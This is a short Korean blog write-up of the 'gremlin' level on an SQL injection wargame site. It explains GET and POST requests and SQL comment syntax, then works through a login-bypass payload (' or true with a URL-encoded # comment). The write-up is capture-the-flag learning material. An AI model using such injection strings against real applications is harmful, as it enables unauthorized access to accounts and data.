Grini 2019. 7. 4. 22:06

[gremlin] https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php

웹 사이트에서 클라이언트가 서버로 데이터를 전송하는 방법으로 Get방식과 Post방식이 있다.

 

[ Get 방식 ]
url에 변수를 포함시켜 전송하는 방식으로 url에 데이터가 노출되고, 길이 제한이 있다.
ex) grini25.com/test/?id='grini'&pw='1234'

[ Post 방식 ]
데이터가 본문(Body)에 포함되어 전송하는 방식
ex) POST /test/ HTTP /1.1
Host: grini25.com
id='grini'&pw='1234'

 

소스 코드를 보니 id와 pw는 get방식으로 전송받으며, 쿼리문을 참으로 만들어주면 문제가 풀린다.

 

select id from prob_gremlin where id='' or true--' and pw='{$_GET[pw]}'

 

?id='or true--

문제가 풀리지 않아, 다른 주석인 #를 이용해보았다.

 

[ SQL 주석 ]
Oracle, MsSQL : --
MySQL : #

 

?id='or true#

쿼리문에 #이 들어가지 않았다.

url을 통해 값을 전송하기 때문에 url encoding하여 넣어 주었더니 문제가 풀렸다.

# : %23

 

?id=' or true%23

--뒤에 공백(%20)을 넣어주면 역시 문제가 풀린다.